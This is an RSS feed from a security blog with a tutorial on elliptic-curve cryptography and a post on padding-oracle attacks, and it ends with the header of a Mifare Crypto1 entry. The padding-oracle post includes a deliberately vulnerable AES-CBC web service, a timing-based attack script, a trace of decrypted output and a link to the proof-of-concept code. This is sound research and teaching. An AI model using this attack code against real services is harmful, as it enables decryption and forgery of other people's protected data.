<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Limited Entropy Dot Com &#187; Cryptography</title>
	<atom:link href="http://www.limited-entropy.com/category/seguridad/cryptography/feed" rel="self" type="application/rss+xml" />
	<link>http://www.limited-entropy.com</link>
	<description>Not so random thoughts on security featured by Eloi Sanfèlix</description>
	<lastBuildDate>Wed, 06 Apr 2011 17:36:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Crypto-series: Elliptic Curve Cryptography</title>
		<link>http://www.limited-entropy.com/crypto-series-elliptic-curve-cryptography</link>
		<comments>http://www.limited-entropy.com/crypto-series-elliptic-curve-cryptography#comments</comments>
		<pubDate>Tue, 01 Mar 2011 14:45:14 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Crypto Series]]></category>
		<category><![CDATA[ECC]]></category>
		<category><![CDATA[ECDH]]></category>
		<category><![CDATA[Elliptic Curves]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=717</guid>
		<description><![CDATA[After a long long while, it's time to go on with our crypto series. Last time we talked about the RSA cryptosystem, and we learned its security is based on the integer factorization problem (plus the DL problem for message secrecy). Today, we'll continue with public key cryptosystems: we'll look into Elliptic Curve Cryptography. Elliptic [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">After a long long while, it's time to go on with our crypto series. Last time we talked about the <a title="Crypto Series: Introduction to the RSA algorithm" href="http://www.limited-entropy.com/introduction-to-rsa">RSA cryptosystem</a>, and we learned its security is based on the integer factorization problem (plus the DL problem for message secrecy). Today, we'll continue with public key cryptosystems: we'll look into Elliptic Curve Cryptography.</p>
<p><strong>Elliptic Curves</strong></p>
<p>If we are talking about Elliptic Curve Cryptography, first we need to define what an Elliptic Curve is. Mathematically, an Elliptic Curve <img src='http://s.wordpress.com/latex.php?latex=E%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='E ' title='E ' class='latex' /> is a curve with the following equation:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=y%5E2%2Ba_1xy%2Ba_3y%3Dx%5E3%2Ba_2x%5E2%2Ba_4x%2Ba_6%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='y^2+a_1xy+a_3y=x^3+a_2x^2+a_4x+a_6 ' title='y^2+a_1xy+a_3y=x^3+a_2x^2+a_4x+a_6 ' class='latex' /></p>
<p>This means that every point (x,y) for which the above expression is met will be part of the curve. However, it turns out in our case we can simplify the equation because the curves we'll be using can generally be written as:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=y%5E2%20%3D%20x%5E3%20%2B%20ax%20%2B%20b%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='y^2 = x^3 + ax + b ' title='y^2 = x^3 + ax + b ' class='latex' /></p>
<p>Such a curve, over the reals (i.e. x and y are real numbers) and with a=-3, b = 1, looks like this:</p>
<div id="attachment_719" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.limited-entropy.com/wp-content/uploads/2011/02/ec_real.png"><img class="size-medium wp-image-719" title="Elliptic Curve y^2 = x^3 - 3x +1 over the real numbers" src="http://www.limited-entropy.com/wp-content/uploads/2011/02/ec_real-300x195.png" alt="" width="300" height="195" /></a><p class="wp-caption-text">Elliptic Curve y^2 = x^3 - 3x +1 over the real numbers</p></div>
<p>What makes these curves special is that we can define an abelian group with them. To do that, we define the point at infinity and an addition law. The addition law is depicted in the following <a href="http://en.wikipedia.org/wiki/File:ECClines.svg">picture from Wikipedia</a>:</p>
<div class="wp-caption aligncenter" style="width: 310px"><a href="../wp-content/uploads/2011/02/ecc_lines.png"><img title="Elliptic Curve Addition law" src="../wp-content/uploads/2011/02/ecc_lines-300x90.png" alt="" width="300" height="90" /></a><p class="wp-caption-text">Elliptic Curve Addition law</p></div>
<p>As you can see, if you want to add two points P and Q, you draw a line through them. The intersection of this line and the curve is the point -(P+Q). Then, you just need to invert this point (negate the y coordinate) to obtain the final result.</p>
<p>Of course, we have special cases. If the point is added to itself, the line is defined as the tangent to the curve at that point, as intuitively the tangent touches 'two times' the point.</p>
<p>If we add a point to its inverse, we get a vertical line... and that's a problem because it will never touch the curve. Here is where the point at infinity comes to rescue. The point at inversity is simply 'up there' (and 'down there'), and is the zero element of the group.</p>
<p><strong>Elliptic Curves for Cryptography</strong></p>
<p>We have defined above how an elliptic curve looks like over the reals, and how to perform additions of two points. Obviously, when addition is defined we also have multiplication for free: just add a point to itself several times in a row (although you can do it in smarter and more efficient ways).</p>
<p>But how do we use it for cryptography? I mean, where is the difficult problem here? Actually, the difficult problem is again the discrete logarithm problem. In this case, we define it as follows:</p>
<blockquote><p>Given a curve E and all its parameters, a base point P and a point Q=nP, obtain n.</p></blockquote>
<p>And how is this difficult in the curves defined above, you might be thinking... The truth is we do not use real curves in ECC, but we use curves over finite fields instead. We can do it over prime fields GF(p), or we can do it over binary fields GF(2^n). I'll look only at GF(p) here, but similar concepts apply (although the simplified expression I defined above is slightly different in that case).</p>
<p>So, the curve I depicted previously taken over GF(8761) looks like this:</p>
<div id="attachment_721" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.limited-entropy.com/wp-content/uploads/2011/02/gf8761.png"><img class="size-medium wp-image-721" title="Elliptic Curve y^2 = x^3 -3x+1 over GF(8761)" src="http://www.limited-entropy.com/wp-content/uploads/2011/02/gf8761-300x189.png" alt="" width="300" height="189" /></a><p class="wp-caption-text">Elliptic Curve y^2 = x^3 -3x+1 over GF(8761)</p></div>
<p>Messy, huh? Exactly the same addition laws apply here, but now when you add two points you draw a line... and when the line gets out of the GF(p) x GF(p) plane it wraps around and comes back from the other side. It is a little more difficult to depict and to visualize, but the concept is the same as before. And now you probably start seeing why this is difficult to solve...</p>
<p><strong>Why Elliptic Curves?</strong></p>
<p>Now you might be wondering... why do we use Elliptic Curve cryptography at all? What are the benefits? The answer is that the ECC allows us to use smaller keys than other algorithms like RSA / 'normal' DL systems for the same amount of security.</p>
<p>This is because the best known general methods for solving the DL in Elliptic Curve are of exponential complexity, while for the other systems we know subexponential methods. Hence, the DL problem under Elliptic Curves is believed to be more difficult than the equivalent base problems for other public key cryptosystems.</p>
<p>Now that we know how elliptic curves are used in cryptography and what benefits they have over traditional</p>
<p><strong>Elliptic Curve Diffie-Hellman</strong></p>
<p>So, if you remember from when we talked about Diffie-Hellman, this is a key exchange protocol that relies on the Discrete Logarithm problem (and the Diffie-Hellman assumption). Usually this is done over a finite field GF(p), but now we have just defined a group based on Elliptic Curves which we can use as well.</p>
<p>In this case, Alice has a private key <img src='http://s.wordpress.com/latex.php?latex=d_A%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='d_A ' title='d_A ' class='latex' /> and a public key <img src='http://s.wordpress.com/latex.php?latex=P_A%20%3D%20d_A%20G%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='P_A = d_A G ' title='P_A = d_A G ' class='latex' />, where G is the base point. Similarly, Bob has <img src='http://s.wordpress.com/latex.php?latex=d_B%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='d_B ' title='d_B ' class='latex' /> and <img src='http://s.wordpress.com/latex.php?latex=P_B%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='P_B ' title='P_B ' class='latex' />. Alice and Bob exchange public keys, and then each of them can compute a common point <img src='http://s.wordpress.com/latex.php?latex=Q%3Dd_BP_A%20%3Dd_AP_B%3Dd_Ad_BP%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='Q=d_BP_A =d_AP_B=d_Ad_BP ' title='Q=d_BP_A =d_AP_B=d_Ad_BP ' class='latex' />.</p>
<p>This protocol relies on the assumption that the DL problem is infeasible in the elliptic curve (which requires a base point G of high order) and the Diffie-Hellman assumption.</p>
<p><strong>Other ECC algorithms</strong></p>
<p>Besides the EC Diffie-Hellman algorithm defined above, there are several other algorithms based on Elliptic Curves. For example, one could compute digital signatures using <a href="http://en.wikipedia.org/wiki/Elliptic_Curve_DSA">Elliptic Curve DSA</a> or Elliptic Curve Nyberg Rueppel. Each algorithm has its own details, but the important problem used as a foundation for each of them is the Discrete Logarithm problem over Elliptic Curves as we have defined it here.<strong></strong></p>
<p>Beware, however, that similarly to other algorithms, ECC algorithms rely also on other conditions. For example, for ECDSA (and DSA) there is a secret parameter that must be unique, and two signatures with the same value for this parameter will reveal your secret key. As usual, if you implement cryptography. you need to be aware of the requirements and limitations or you will certainly screw up (toc toc SONY!).</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/crypto-series-elliptic-curve-cryptography" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/crypto-series-elliptic-curve-cryptography/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>On Padding Oracles, CBC-R and timing attacks&#8230;</title>
		<link>http://www.limited-entropy.com/po_cbc-r_and_timing</link>
		<comments>http://www.limited-entropy.com/po_cbc-r_and_timing#comments</comments>
		<pubDate>Mon, 04 Oct 2010 20:37:25 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[CBC-R]]></category>
		<category><![CDATA[Padding Oracle]]></category>
		<category><![CDATA[timing attacks]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=691</guid>
		<description><![CDATA[Somewhere before the weekend I was discussing about Padding Oracles with a friend and somehow it came up that there was no public tool using timing information for this kind of attacks. I had seen that Thai and Juliano mentioned timing leaks in their talk at EkoParty, but since AFAIK there was no public tool [...]]]></description>
			<content:encoded><![CDATA[<p>Somewhere before the weekend I was discussing about Padding Oracles with a friend and somehow it came up that there was no public tool using timing information for this kind of attacks.</p>
<p>I had seen that Thai and Juliano mentioned timing leaks in their talk at EkoParty, but since AFAIK there was no public tool available I decided to look into it. Also, some weeks ago I added the CBC-R encryption part to my scripts, in order to be able to encrypt arbitrary information as long as we are able to control the IV.</p>
<p>So in this post I'm going to write about these two things: CBC-R encryption and a web based padding oracle attack script using timing information.</p>
<p><span id="more-691"></span></p>
<p><strong>CBC-R: Reverting CBC decryption... or encrypting by decrypting!</strong></p>
<p>Ok, so if you remember from <a href="http://www.limited-entropy.com/padding-oracle-attacks">last post</a>, we have a way to decrypt messages making use of a padding oracle. So, by providing specially crafted messages and asking whether the padding is correct or not, we can obtain the plaintext for a given ciphertext.</p>
<p>Now, can we use this for encryption? Well... the answer in general would be no unless you perform a bruteforce search to find the ciphertext that leads to your desired plaintext. However, with CBC mode we have a nice property. When an entity tries to decrypt something using CBC mode, the plaintext is computed as follows</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=P_i%20%3D%20D_K%28C_i%29%20%5Coplus%20C_%7Bi-1%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='P_i = D_K(C_i) \oplus C_{i-1} ' title='P_i = D_K(C_i) \oplus C_{i-1} ' class='latex' /></p>
<p style="text-align: left;">Where <img src='http://s.wordpress.com/latex.php?latex=C_0&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='C_0' title='C_0' class='latex' /> is the initial vector. Now, if we control the ciphertext and the initial vector, we can set them up such that the required plaintext comes out when the decryption process takes place.</p>
<p style="text-align: left;">We start by the last ciphertext block, and set it to a random number. Next, we decrypt it using the padding oracle, which gives us <img src='http://s.wordpress.com/latex.php?latex=D_K%28C_n%29%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='D_K(C_n) ' title='D_K(C_n) ' class='latex' />. Given the desired value for <img src='http://s.wordpress.com/latex.php?latex=P_n&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='P_n' title='P_n' class='latex' />, we just need to compute <img src='http://s.wordpress.com/latex.php?latex=C_%7Bn-1%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='C_{n-1} ' title='C_{n-1} ' class='latex' /> such that <img src='http://s.wordpress.com/latex.php?latex=C_%7Bn-1%7D%20%3D%20P_n%20%5Coplus%20D_K%28C_n%29%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='C_{n-1} = P_n \oplus D_K(C_n) ' title='C_{n-1} = P_n \oplus D_K(C_n) ' class='latex' />. If we continue all the way down to the IV, we have a set of IV + n ciphertext blocks that would produce the desired message.</p>
<p style="text-align: left;">So, this process I've also implemented in Python together with my previous code. Now it is possible to encrypt data as well, getting an IV that you need to supply to the decrypting entity. If you don't control the IV, you could provide all these n+1 blocks as ciphertext and you would get a leading block which would decrypt to garbage. Since most likely the target application can't handle leading garbage blocks, you'd have to chose another option such as bruteforcing the first block in order to get the desired result. However, this involves much more computational work.</p>
<p style="text-align: left;"><strong>A "<em>web service</em>" leaking padding information through the time</strong></p>
<p style="text-align: left;">After this implementation work, and triggered by the discussion with my friend, I decided to write a sample vulnerable web service and try to exploit it using timing information. To simulate the vulnerable service, I initially used PHP and the openssl functions.</p>
<p style="text-align: left;">However, since the attack was failing and I thought it was due to a problem in the vulnerable service, I wrote it using <a href="http://www.webpy.org">web.py</a> . This is nicer because then you only need Python to test it, so I decided to publish only the python version. The code simply listens for requests to the /padding/ path. For GET requests, it encrypts the <em>msg</em> parameter under a key and returns the ciphertext encoded using base64.</p>
<p style="text-align: left;">For POST requests, it receives the ciphertext in the <em>ctext</em> variable, decrypts it, checks the padding and if it is good it sleeps for 1 second. This is done to simulate access to a database, filesystem, or any other kind of activity that would happen under normal situations. Next, both with good and bad padding it returns the same information. This is the code:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">import</span> web
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">struct</span>
<span style="color: #ff7700;font-weight:bold;">from</span> Crypto.<span style="color: black;">Cipher</span> <span style="color: #ff7700;font-weight:bold;">import</span> AES
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">base64</span> <span style="color: #ff7700;font-weight:bold;">import</span> b64decode,b64encode
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">time</span>
&nbsp;
urls = <span style="color: black;">&#40;</span> <span style="color: #483d8b;">'/padding/'</span>, <span style="color: #483d8b;">'padding'</span><span style="color: black;">&#41;</span>
app = web.<span style="color: black;">application</span><span style="color: black;">&#40;</span>urls, <span style="color: #008000;">globals</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
key = <span style="color: #483d8b;">&quot;cacacacacacacaca&quot;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> oracle<span style="color: black;">&#40;</span>ctext<span style="color: black;">&#41;</span>:
	oracleCipher = AES.<span style="color: #dc143c;">new</span><span style="color: black;">&#40;</span>key,AES.<span style="color: black;">MODE_CBC</span>,<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span><span style="color: #66cc66;">*</span><span style="color: #ff4500;">16</span><span style="color: black;">&#41;</span>
	ptext = oracleCipher.<span style="color: black;">decrypt</span><span style="color: black;">&#40;</span>ctext<span style="color: black;">&#41;</span>
	paddingLen = <span style="color: #dc143c;">struct</span>.<span style="color: black;">unpack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;B&quot;</span>,ptext<span style="color: black;">&#91;</span>-<span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
	goodPadding = <span style="color: black;">&#40;</span>ptext<span style="color: black;">&#91;</span>-paddingLen:<span style="color: black;">&#93;</span> == <span style="color: #dc143c;">struct</span>.<span style="color: black;">pack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;B&quot;</span>,paddingLen<span style="color: black;">&#41;</span><span style="color: #66cc66;">*</span>paddingLen<span style="color: black;">&#41;</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">return</span> goodPadding
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> encrypt<span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span>:
	paddingLen = <span style="color: #ff4500;">16</span> - <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span> <span style="color: #66cc66;">%</span> <span style="color: #ff4500;">16</span>
	data = data + <span style="color: #dc143c;">struct</span>.<span style="color: black;">pack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;B&quot;</span>,paddingLen<span style="color: black;">&#41;</span><span style="color: #66cc66;">*</span>paddingLen
	cipher = AES.<span style="color: #dc143c;">new</span><span style="color: black;">&#40;</span>key,AES.<span style="color: black;">MODE_CBC</span>,<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span><span style="color: #66cc66;">*</span><span style="color: #ff4500;">16</span><span style="color: black;">&#41;</span>
	<span style="color: #ff7700;font-weight:bold;">return</span> b64encode<span style="color: black;">&#40;</span>cipher.<span style="color: black;">encrypt</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> padding:
	<span style="color: #ff7700;font-weight:bold;">def</span> GET<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
		i = web.<span style="color: #008000;">input</span><span style="color: black;">&#40;</span>msg=<span style="color: #483d8b;">'secret!'</span><span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">return</span> encrypt<span style="color: black;">&#40;</span>i.<span style="color: black;">msg</span><span style="color: black;">&#41;</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">def</span> POST<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
		i = web.<span style="color: #008000;">input</span><span style="color: black;">&#40;</span>ctext=<span style="color: #008000;">None</span><span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span>i.<span style="color: black;">ctext</span><span style="color: #66cc66;">!</span>=<span style="color: #008000;">None</span> <span style="color: #ff7700;font-weight:bold;">and</span> oracle<span style="color: black;">&#40;</span>b64decode<span style="color: black;">&#40;</span>i.<span style="color: black;">ctext</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>:
			<span style="color: #dc143c;">time</span>.<span style="color: black;">sleep</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">&quot;Yeah!&quot;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ == <span style="color: #483d8b;">&quot;__main__&quot;</span>: app.<span style="color: black;">run</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>So as you can see, the only difference between correct and wrong padding in this case is the timing information. Now we can try to exploit it by performing requests, checking the timing and seeing if it's high or not. Of course, the delay is quite high (1 second) in this case, but it all boils down to how big a time delta you can detect through the network. The use of 1 second is just to make it simple during the tests.</p>
<p><strong>Attacking timing leaks in Padding Oracles</strong></p>
<p>Ok, now we have a vulnerable service. Our next step is to create an attack tool. I first created a class (TimingWebPaddingOracle) that is able to perform HTTP requests and analyze the time it takes to receive a response. The class also allows to define POST variables to be added to the request, and to define one of such variables as the <em>oracle variable</em>. You should also provide a default value for each of them, being the value given for the <em>oracle value</em> a <em>correct ciphertext</em> (i.e. one that produces good padding after decryption).</p>
<p>Once this is defined, you can analyze the timing of the correct and incorrect padding cases. To that end, the class first analyzes the original value of the <em>oracle variable</em> and next it changes the last bytes and analyzes the timing again. Then, it takes the middle value between the two timing values obtained as a threshold. Also, it stores whether a delay higher than the threshold means the padding is correct or not based on this analysis.</p>
<p>From there on, you can use the oracle. If the timing obtained is higher than the threshold, then it will return true or false depending on the type of oracle we have. In most of the cases, this will happen for a correct padding because then the application will proceed with other calculations.</p>
<p>I won't comment on the code here, you can take a look at it from the classes added at the end. The following is the code of the application used to test it:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> PaddingOracle.<span style="color: black;">TimingWebPaddingOracle</span> <span style="color: #ff7700;font-weight:bold;">import</span> TimingWebPaddingOracle
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">base64</span> <span style="color: #ff7700;font-weight:bold;">import</span> b64decode,b64encode
<span style="color: #ff7700;font-weight:bold;">from</span> PaddingOracle.<span style="color: black;">DecryptionOracle</span> <span style="color: #ff7700;font-weight:bold;">import</span> DecryptionOracle
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> hex_string<span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">&quot;&quot;</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span><span style="color: black;">&#91;</span> <span style="color: #008000;">hex</span><span style="color: black;">&#40;</span><span style="color: #008000;">ord</span><span style="color: black;">&#40;</span>i<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>+<span style="color: #483d8b;">&quot; &quot;</span> <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> data<span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
&nbsp;
blockSize = <span style="color: #ff4500;">16</span>
url = <span style="color: #483d8b;">&quot;http://localhost:8080/padding/&quot;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ == <span style="color: #483d8b;">'__main__'</span>:
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">&amp;</span>lt<span style="color: #66cc66;">;</span>= <span style="color: #ff4500;">1</span> <span style="color: black;">&#41;</span>:
        ctext = <span style="color: #483d8b;">&quot;szkAlVFq+Nh4yOt4prAwBtwRVvt51HIyU9o58+2Bxuo=&quot;</span> <span style="color: #808080; font-style: italic;">#Default ciphertext</span>
    <span style="color: #ff7700;font-weight:bold;">else</span>:
        ctext = <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: #66cc66;">;</span>
        <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: black;">&#40;</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">&amp;</span>gt<span style="color: #66cc66;">;</span> <span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>:
            reqs = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">else</span>:
            reqs = <span style="color: #ff4500;">1</span> <span style="color: #808080; font-style: italic;">#Default to 1 request </span>
&nbsp;
    webOracle = TimingWebPaddingOracle<span style="color: black;">&#40;</span>url,b64encode,b64decode,reqs<span style="color: black;">&#41;</span>
    decOracle = DecryptionOracle<span style="color: black;">&#40;</span>webOracle.<span style="color: black;">oracle</span>,blockSize<span style="color: black;">&#41;</span>
    webOracle.<span style="color: black;">add_variable</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;ctext&quot;</span>,ctext,<span style="color: #008000;">True</span><span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;">#Add oracle variable with original value</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Analyzing oracle...&quot;</span>
    <span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span>webOracle.<span style="color: black;">test_oracle</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>:
        <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Oracle successfully analyzed. Analyzing provided ciphertext...&quot;</span>
        msg = decOracle.<span style="color: black;">decrypt_message</span><span style="color: black;">&#40;</span>b64decode<span style="color: black;">&#40;</span>ctext<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Message: &quot;</span>+<span style="color: #008000;">str</span><span style="color: black;">&#40;</span>msg<span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;In hexadecimal: &quot;</span>+hex_string<span style="color: black;">&#40;</span>msg<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">else</span>:
        <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Could not analyze oracle :(&quot;</span></pre></div></div>

<p>As you can see, it sets the URL, and provides an encoding and decoding functions to the TimingWebPaddingOracle function. These are used to decode the original ciphertext when analyzing the original value provided in the command line and to encode it when sending it to the web app.</p>
<p>The message to be decrypted is assumed to contain proper padding, so it is used first to analyze the oracle and then it is decrypted using the DecryptionOracle class. By default, the test uses 1 request per ciphertext to be tested. If an additional integer is provided, it uses so many requests and performs an average of the time obtained.</p>
<p>This is a trace of its execution:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">eloi<span style="color: #000000; font-weight: bold;">@</span>XXX:~<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>PaddingOracle<span style="color: #000000; font-weight: bold;">/</span>src$ python PaddingOracleTest<span style="color: #000000; font-weight: bold;">/</span>WebPaddingOracleTest.py <span style="color: #ff0000;">&quot;7TciRV2X4vFKuiUqz1g2SdfFQ4ry8mNKSxE73lknqd4ooeQrnW2AWQ0mv2FFyWod&quot;</span>
Analyzing oracle...
Found difference <span style="color: #000000; font-weight: bold;">for</span> <span style="color: #007800;">i</span>=0x0
Original timing: <span style="color: #000000;">1.00866293907</span>
Bad timing: <span style="color: #000000;">0.00569581985474</span>
Oracle successfully analyzed. Analyzing provided ciphertext...
Message: supersecret with limited entropy
In hexadecimal: 0x73 0x75 0x70 0x65 0x72 0x73 0x65 0x63 0x72 0x65 0x74 0x20 0x77 0x69 0x74 0x68 0x20 0x6c 0x69 0x6d 0x69 0x74 0x65 0x64 0x20 0x65 0x6e 0x74 0x72 0x6f 0x70 0x79 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10</pre></div></div>

<p>As you can see, the message was correctly decrypted <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>Code</strong></p>
<p>If you reach this point, you deserve being able to download the code <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> . I've uploaded all the code in its current state (DecryptionOracle, CBC-R encryption oracle, TimingWebPaddingOracle and some the test cases) to the following URL:</p>
<p><a href="http://www.limited-entropy.com/docs/PaddingOracle_0.2.tgz">http://www.limited-entropy.com/docs/PaddingOracle_0.2.tgz</a></p>
<p>Remember this is just PoC code and not release-quality code. Again, you can do whatever you like with it but it would be nice to give credit if you use it or base your stuff on it <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> .</p>
<p>As for things you need to run it, you need Python (obvious <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ) with the following extra packages: <a href="http://www.webpy.org">web.py</a> for the test service and <a href="http://www.pycrypto.org/">pyCrypto</a> for the cryptographic functions.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/po_cbc-r_and_timing" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/po_cbc-r_and_timing/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Crypto Series: Mifare Crypto1</title>
		<link>http://www.limited-entropy.com/crypto-series-mifare-crypto1</link>
		<comments>http://www.limited-entropy.com/crypto-series-mifare-crypto1#comments</comments>
		<pubDate>Sun, 11 Oct 2009 19:00:06 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Crypto Series]]></category>
		<category><![CDATA[Crypto1]]></category>
		<category><![CDATA[Mifare]]></category>

